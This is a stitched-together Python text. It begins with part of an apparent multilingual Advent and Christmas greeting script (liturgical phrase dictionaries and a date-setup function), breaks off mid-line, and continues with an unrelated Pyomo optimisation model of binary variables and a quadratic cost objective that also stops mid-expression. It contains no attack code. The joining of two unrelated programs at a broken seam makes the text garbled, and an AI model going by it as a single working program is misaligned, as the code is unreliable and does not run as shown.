"DE": "Möge die Geburt unseres Herrn Jesu Christi unsere Völker in Frieden und Gerechtigkeit erleuchten.",
"FR": "Que la naissance de notre Sauveur Jésus-Christ éclaire nos peuples dans la paix et la justice."
}
phrases = (_and_, img_source, ue_handles, header, today_is,
advent_week, remaining, xmas_days, merry_xmas, light) + weekdays
assert all(set(languages) == set(ph.keys()) for ph in phrases), "Some language missing among phrases"
# DATE-SPECIFIC PHRASES
day_messages = {
"first_advent": {
"ES": "feliz 1er domingo de Adviento!",
"EN": "happy 1st Sunday of Advent!",
"DE": "schönen 1. Advent!",
"FR": "bon 1er dimanche de l'Avent!"
},
"second_advent": {
"ES": "feliz 2º domingo de Adviento!",
"EN": "happy 2nd Sunday of Advent!",
"DE": "schönen 2. Advent!",
"FR": "bon 2ème dimanche de l'Avent!"
},
"third_advent": {
"ES": "feliz 3er domingo de Adviento!",
"EN": "happy 3rd Sunday of Advent!",
"DE": "schönen 3. Advent!",
"FR": "bon 3ème dimanche de l'Avent!"
},
"fourth_advent": {
"ES": "feliz 4º domingo de Adviento!",
"EN": "happy 4th Sunday of Advent!",
"DE": "schönen 4. Advent!",
"FR": "bon 4ème dimanche de l'Avent!"
},
"xmas_eve": {
"ES": "pasad una feliz Nochebuena.",
"EN": "I wish you a wonderful Christmas Eve.",
"DE": "meine beste Wünsche zu diesem Heiligabend.",
"FR": "je vous souhaite un bon Réveillon de Noël."
},
"christmas": {
"ES": "Navidad, al fin.",
"EN": "finally Christmas.",
"DE": "endlich Weihnachten.",
"FR": "la Fete de Noël, enfin."
},
"st_stephen": {
"ES": "26 de diciembre, <NAME>.",
"EN": "December the 26th, Boxing Day. We also celebrate the Feast of St. <NAME>artyr.",
"DE": "der 2. Weihnachtstag, für die kath. Kirche der Tag des Erzmärtyrers Stephanus.",
"FR": "le jour des boîtes, la Fête de la Saint-Étienne, Protomartyr de l'Église."
},
"innocent": {
"ES": "28 de diciembre, día de los Santos Inocentes.",
"EN": "December the 28th, Feast of the Holy Innocents.",
"DE": "28. Dezember, das Fest der Unschuldigen Kinder.",
"FR": "le 28 décembre, le Jour des Saints Innocents."
},
"new_year": {
"ES": "la Solemnidad de Santa María, Madre de Dios para la Iglesia Católica. La Iglesia Ortodoxa oriental "
"y diversas confesiones protestantes celebran la Circuncisión de Cristo. Lo de Año Nuevo no me suena...",
"EN": "the Solemnity of Mary, Mother of God in the Catholic Church and the Feast of the Circumcision of Christ "
"for the Orthodox, Lutheran and Anglican Churches, among others. New Year? Never heard of it.",
"DE": "das Hochfest der Gottesmutter laut der kath. Kirche. Die orthodoxe, anglikanische und evangelische "
"Kirchen feiern hingegen die Beschneidung des Herrn. Neujahr? Noch nie davon gehört.",
"FR": "la fête de Marie mère de Dieu pour l'Église catholique et la fête de la Circoncision de Jésus pour "
"les Églises orthodoxe, anglicane et luthérienne. Nouvel an? Je n'en ai jamais entendu parler."
},
"epiphany_eve": {
"ES": "la Noche de Reyes, la 12ª Noche, Víspera de la Epifanía.",
"EN": "the Twelfth Night, the Epiphany Eve.",
"DE": "die Vigil vor der Epiphanie.",
"FR": "la veille de l'Épiphanie."
},
"epiphany": {
"ES": "el Día de los Reyes Magos, la Epifanía de Nuestro Señor.",
"EN": "the Epiphany of the Lord, the Three Kings' Day.",
"DE": "Dreikönigstag, die Epiphanie, das Hochfest der Erscheinung des Herrn.",
"FR": "l'Épiphanie du Seigneur, le Jour des Rois."
},
"nikolaus": {
"ES": "feliz día de San Nicolás!",
"EN": "happy Saint Nicholas Day!",
"DE": "einen schönen Nikolaustag!",
"FR": "bonne Fête de Saint-Nicolas!"
},
"holy_family": {
"EN": f"the Feast of the Holy Family",
"ES": f"Día de la Sagrada Familia",
"DE": f"das Fest der Heiligen Familie",
"FR": f"le Jour de la Sainte Famille"
}
}
assert all(set(languages) == set(cel.keys())
for d, cel in day_messages.items()), "Some language missing among celebration days"
# GLOBAL VARIABLES. They must be initialized
first_advent, christmas, epiphany, new_year = date(1, 12), date(25, 12), date(6, 12), date(1, 1)
celebrations = {}
special_pics = {}
# MAIN FUNCTIONS #
def init_dates(year=None):
global first_advent, christmas, new_year, epiphany, celebrations, special_pics
christmas = date(25, 12, year)
xmas_weekday = christmas.weekday()
nikolaus = date(6, 12, year)
xmas_eve = date(24, 12, year)
st_stephen = date(26, 12, year)
innocent = date(28, 12, year)
new_year = date(1, 1, year)
if xmas_weekday == 6:
holy_family = date(30, 12, year)
else:
holy_family = christmas + td(days=6-xmas_weekday)
epiphany_eve = date(5, 1, year)
epiphany = date(6, 1, year)
fourth_advent = christmas - td(days=(xmas_weekday+1))
third_advent = fourth_advent - td(days=7)
second_advent = | |
= Var(within=Binary,bounds=(0,1),initialize=0)
m.b598 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b599 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b600 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b601 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b602 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b603 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b604 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b605 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b606 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b607 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b608 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b609 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b610 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b611 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b612 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b613 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b614 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b615 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b616 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b617 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b618 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b619 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b620 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b621 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b622 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b623 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b624 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b625 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b626 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b627 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b628 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b629 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b630 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b631 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b632 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b633 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b634 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b635 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b636 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b637 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b638 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b639 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b640 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b641 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b642 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b643 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b644 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b645 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b646 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b647 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b648 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b649 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b650 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b651 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b652 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b653 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b654 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b655 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b656 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b657 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b658 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b659 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b660 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b661 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b662 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b663 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b664 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b665 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b666 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b667 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b668 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b669 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b670 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b671 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b672 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b673 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b674 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b675 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b676 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b677 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b678 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b679 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b680 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b681 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b682 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b683 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b684 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b685 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b686 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b687 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b688 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b689 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b690 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b691 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b692 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b693 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b694 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b695 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b696 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b697 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b698 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b699 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b700 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b701 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b702 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b703 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b704 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b705 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b706 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b707 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b708 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b709 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b710 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b711 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b712 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b713 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b714 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b715 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b716 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b717 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b718 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b719 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b720 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b721 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b722 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b723 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b724 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b725 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b726 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b727 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b728 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b729 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b730 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b731 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b732 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b733 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b734 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b735 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b736 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b737 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b738 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b739 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b740 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b741 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b742 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b743 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b744 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b745 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b746 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b747 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b748 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b749 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b750 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b751 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b752 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b753 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b754 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b755 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b756 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b757 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b758 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b759 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b760 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b761 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b762 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b763 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b764 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b765 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b766 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b767 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b768 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b769 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b770 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b771 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b772 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b773 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b774 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b775 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b776 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b777 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b778 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b779 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b780 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b781 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b782 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b783 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b784 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b785 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b786 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b787 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b788 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b789 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b790 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b791 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b792 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b793 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b794 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b795 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b796 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b797 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b798 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b799 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b800 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b801 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b802 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b803 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b804 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b805 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b806 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b807 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b808 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b809 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b810 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b811 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b812 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b813 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b814 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b815 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b816 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b817 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b818 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b819 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b820 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b821 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b822 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b823 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b824 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b825 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b826 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b827 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b828 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b829 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b830 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b831 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b832 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b833 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b834 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b835 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b836 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b837 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b838 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b839 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b840 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b841 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b842 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b843 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b844 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b845 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b846 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b847 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b848 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b849 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b850 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b851 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b852 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b853 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b854 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b855 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b856 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b857 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b858 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b859 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b860 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b861 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b862 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b863 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b864 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b865 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b866 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b867 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b868 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b869 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b870 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b871 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b872 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b873 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b874 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b875 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b876 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b877 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b878 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b879 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b880 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b881 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b882 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b883 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b884 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b885 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b886 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b887 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b888 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b889 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b890 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b891 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b892 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b893 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b894 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b895 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b896 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b897 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b898 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b899 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b900 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b901 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b902 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b903 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b904 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b905 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b906 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b907 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b908 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b909 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b910 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b911 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b912 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b913 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b914 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b915 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b916 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b917 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b918 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b919 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b920 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b921 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b922 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b923 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b924 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b925 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b926 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b927 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b928 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b929 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b930 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b931 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b932 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b933 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b934 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b935 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b936 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b937 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b938 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b939 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b940 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b941 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b942 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b943 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b944 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b945 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b946 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b947 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b948 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b949 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b950 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b951 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b952 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b953 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b954 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b955 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b956 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b957 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b958 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b959 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b960 = Var(within=Binary,bounds=(0,1),initialize=0)
m.b961 = Var(within=Binary,bounds=(0,1),initialize=0)
m.obj = Objective(expr=(1000 + 0.00048*m.x2*m.x2 + 16.19*m.x2)*m.b242 + (1000 + 0.00048*m.x3*m.x3 + 16.19*m.x3)*m.b243
+ (1000 + 0.00048*m.x4*m.x4 + 16.19*m.x4)*m.b244 + (1000 + 0.00048*m.x5*m.x5 + 16.19*m.x5)*
m.b245 + (1000 + 0.00048*m.x6*m.x6 + 16.19*m.x6)*m.b246 + (1000 + 0.00048*m.x7*m.x7 + 16.19*m.x7)
*m.b247 + (1000 + 0.00048*m.x8*m.x8 + 16.19*m.x8)*m.b248 + (1000 + 0.00048*m.x9*m.x9 + 16.19*m.x9
)*m.b249 + (1000 + 0.00048*m.x10*m.x10 + 16.19*m.x10)*m.b250 + (1000 + 0.00048*m.x11*m.x11 +
16.19*m.x11)*m.b251 + (1000 + 0.00048*m.x12*m.x12 + 16.19*m.x12)*m.b252 + (1000 + 0.00048*m.x13*
m.x13 + 16.19*m.x13)*m.b253 + (1000 + 0.00048*m.x14*m.x14 + 16.19*m.x14)*m.b254 + (1000 + 0.00048
*m.x15*m.x15 + 16.19*m.x15)*m.b255 + (1000 + 0.00048*m.x16*m.x16 + 16.19*m.x16)*m.b256 + (1000 +
0.00048*m.x17*m.x17 + 16.19*m.x17)*m.b257 + (1000 + 0.00048*m.x18*m.x18 + 16.19*m.x18)*m.b258 + (
1000 + 0.00048*m.x19*m.x19 + 16.19*m.x19)*m.b259 + (1000 + 0.00048*m.x20*m.x20 + 16.19*m.x20)*
m.b260 + (1000 + 0.00048*m.x21*m.x21 + 16.19*m.x21)*m.b261 + (1000 + 0.00048*m.x22*m.x22 + 16.19*
m.x22)*m.b262 + (1000 + 0.00048*m.x23*m.x23 + 16.19*m.x23)*m.b263 + (1000 + 0.00048*m.x24*m.x24
+ 16.19*m.x24)*m.b264 + (1000 + 0.00048*m.x25*m.x25 + 16.19*m.x25)*m.b265 + (970 + 0.00031*m.x26
*m.x26 + 17.26*m.x26)*m.b266 + (970 + 0.00031*m.x27*m.x27 + 17.26*m.x27)*m.b267 + (970 + 0.00031*
m.x28*m.x28 + 17.26*m.x28)*m.b268 + (970 + 0.00031*m.x29*m.x29 + 17.26*m.x29)*m.b269 + (970 +
0.00031*m.x30*m.x30 + 17.26*m.x30)*m.b270 + (970 + 0.00031*m.x31*m.x31 + 17.26*m.x31)*m.b271 + (
970 + 0.00031*m.x32*m.x32 + 17.26*m.x32)*m.b272 + (970 + 0.00031*m.x33*m.x33 + 17.26*m.x33)*
m.b273 + (970 + 0.00031*m.x34*m.x34 + 17.26*m.x34)*m.b274 + (970 + 0.00031*m.x35*m.x35 + 17.26*
